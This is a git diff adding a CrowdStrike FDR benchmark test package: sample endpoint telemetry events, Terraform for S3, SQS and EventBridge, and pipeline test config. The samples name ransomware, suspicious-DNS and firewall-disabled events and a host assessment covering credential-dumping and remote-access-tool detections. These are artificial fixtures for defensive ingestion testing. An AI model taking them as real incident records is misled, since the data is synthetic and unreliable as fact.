+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"}
+{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"}
+{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"}
+{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"}
+{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"}
+{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"}
+{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1601546312519"}
+{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"}
+{"BootArgs":" NOEXECUTE=OPTIN  HYPERVISORLAUNCHTYPE=AUTO  FVEBOOT=2125824  NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"}
+{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"}
+{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"}
+{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"}
+{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"}
+{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"}
+{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":13140498271151144192,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf
new file mode 100644
index 0000000000..ac47ae84b0
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf
@@ -0,0 +1,125 @@
+provider "aws" {
+  default_tags {
+    tags = {
+      environment  = var.ENVIRONMENT
+      repo         = var.REPO
+      branch       = var.BRANCH
+      build        = var.BUILD_ID
+      created_date = var.CREATED_DATE
+    }
+  }
+}
+
+resource "aws_s3_bucket" "crowdstrike_fdr" {
+  bucket = "${var.bucket_name}-${var.TEST_RUN_ID}"
+}
+
+resource "aws_s3_object" "crowdstrike_data" {
+  bucket = aws_s3_bucket.crowdstrike_fdr.id
+  key    = "data"
+  source = "./files/fdr-sample.log"
+}
+
+resource "aws_s3_object" "crowdstrike_aidmaster" {
+  bucket = aws_s3_bucket.crowdstrike_fdr.id
+  key    = "fdrv2/aidmaster"
+  source = "./files/fdr-0_aidmaster.log"
+}
+
+resource "aws_s3_object" "crowdstrike_userinfo" {
+  bucket = aws_s3_bucket.crowdstrike_fdr.id
+  key    = "fdrv2/userinfo"
+  source = "./files/fdr-0_userinfo.log"
+}
+
+resource "aws_sqs_queue" "crowdstrike_queue" {
+  name = "elastic-package-crowdstrike-queue-${var.TEST_RUN_ID}"
+}
+
+# IAM Policy for EventBridge Scheduler
+resource "aws_iam_policy" "sqs_access_policy" {
+  count       = var.eventbridge_role_arn == null ? 1 : 0
+  name        = "sqs-access-policy-${var.TEST_RUN_ID}"
+  description = "Policy for EventBridge Scheduler to send messages to SQS"
+
+  policy = jsonencode({
+    Version = "2012-10-17"
+    Statement = [
+      {
+        Action = [
+          "sqs:ReceiveMessage",
+          "sqs:SendMessage"
+        ],
+        Effect   = "Allow"
+        Resource = aws_sqs_queue.crowdstrike_queue.arn
+      }
+    ]
+  })
+}
+
+# IAM Role for EventBridge Scheduler
+resource "aws_iam_role" "eventbridge_scheduler_iam_role" {
+  count               = var.eventbridge_role_arn == null ? 1 : 0
+  name_prefix         = "eb-scheduler-role-${var.TEST_RUN_ID}-"
+  managed_policy_arns = [aws_iam_policy.sqs_access_policy.0.arn]
+  path                = "/"
+  assume_role_policy  = <<EOF
+{
+    "Version": "2012-10-17",
+    "Statement": [
+        {
+            "Effect": "Allow",
+            "Principal": {
+                "Service": "scheduler.amazonaws.com"
+            },
+            "Action": "sts:AssumeRole"
+        }
+    ]
+}
+EOF
+}
+
+// Simulate CrowdStrike sending its notification events to SQS. CrowdStrike
+// uses a custom notification format that is different than the AWS S3 event
+// notification format.
+resource "aws_scheduler_schedule" "eventbridge_scheduler_every1minute" {
+  name       = "eventbridge_scheduler_crowdstrike_fdr_sqs-${var.TEST_RUN_ID}"
+  group_name = "default"
+
+  flexible_time_window {
+    mode = "OFF"
+  }
+
+  schedule_expression = "rate(1 minutes)"
+
+  target {
+    arn      = aws_sqs_queue.crowdstrike_queue.arn
+    role_arn = var.eventbridge_role_arn == null ? aws_iam_role.eventbridge_scheduler_iam_role.0.arn : var.eventbridge_role_arn
+
+    input = jsonencode({
+      cid        = "ffffffff15754bcfb5f9152ec7ac90ac"
+      timestamp  = 1625677488615
+      fileCount  = 3
+      totalSize  = 120161
+      bucket     = aws_s3_bucket.crowdstrike_fdr.id
+      pathPrefix = "data/f0714ca5-3689-448d-b5cc-582a6f7a56b1"
+      "files" : [
+        {
+          "path" : aws_s3_object.crowdstrike_data.key,
+          "size" : 115258,
+          "checksum" : "c24b5525ad5d4b3ff92bb3c9c002bdc7"
+        },
+        {
+          "path" : aws_s3_object.crowdstrike_aidmaster.key,
+          "size" : 4414,
+          "checksum" : "a06a88462e6950f0be3bb83230047e87"
+        },
+        {
+          "path" : aws_s3_object.crowdstrike_userinfo.key,
+          "size" : 489,
+          "checksum" : "349c96ed5531edce2233ad417123736d"
+        }
+      ]
+    })
+  }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/outputs.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/outputs.tf
new file mode 100644
index 0000000000..f209748004
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/outputs.tf
@@ -0,0 +1,3 @@
+output "queue_url" {
+  value = aws_sqs_queue.crowdstrike_queue.url
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/variables.tf
new file mode 100644
index 0000000000..2d36f150ab
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/variables.tf
@@ -0,0 +1,48 @@
+variable "BRANCH" {
+  description = "Branch name or pull request for tagging purposes"
+  default     = "unknown-branch"
+}
+
+variable "BUILD_ID" {
+  description = "Build ID in the CI for tagging purposes"
+  default     = "unknown-build"
+}
+
+variable "CREATED_DATE" {
+  description = "Creation date in epoch time for tagging purposes"
+  default     = "unknown-date"
+}
+
+variable "ENVIRONMENT" {
+  default = "unknown-environment"
+}
+
+variable "REPO" {
+  default = "unknown-repo-name"
+}
+
+variable "TEST_RUN_ID" {
+  default = "detached"
+}
+
+variable "bucket_name" {
+  default = "elastic-package-crowdstrike-fdr"
+}
+
+variable "queue_name" {
+  default = "elastic-package-crowdstrike-fdr"
+}
+
+// If testing using the elastic-siem account then add the following line to
+// services.terraform.environment in the env.yml file to override this
+// variable.
+//
+//   TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001
+//
+// This is needed because the elastic-siem user accounts do not allow IAM
+// changes.
+variable "eventbridge_role_arn" {
+  description = "ARN of the role that EventBridge should assume to send SQS notifications."
+  default     = null
+  type        = string
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-common-config.yml
new file mode 100644
index 0000000000..2e996c24ad
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-common-config.yml
@@ -0,0 +1,12 @@
+fields:
+  "@timestamp": "2020-04-28T11:07:58.223Z"
+  tags:
+    - preserve_original_event
+numeric_keyword_fields:
+  - crowdstrike.PatternId
+  - crowdstrike.NetworkAccesses.AccessTimestamp
+  - crowdstrike.NetworkAccesses.AccessType
+  - crowdstrike.NetworkAccesses.ConnectionDirection
+  - crowdstrike.NetworkAccesses.IsIPV6
+  - crowdstrike.NetworkAccesses.LocalPort
+  - crowdstrike.NetworkAccesses.RemotePort
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log
new file mode 100644
index 0000000000..f892ce803c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log
@@ -0,0 +1,5 @@
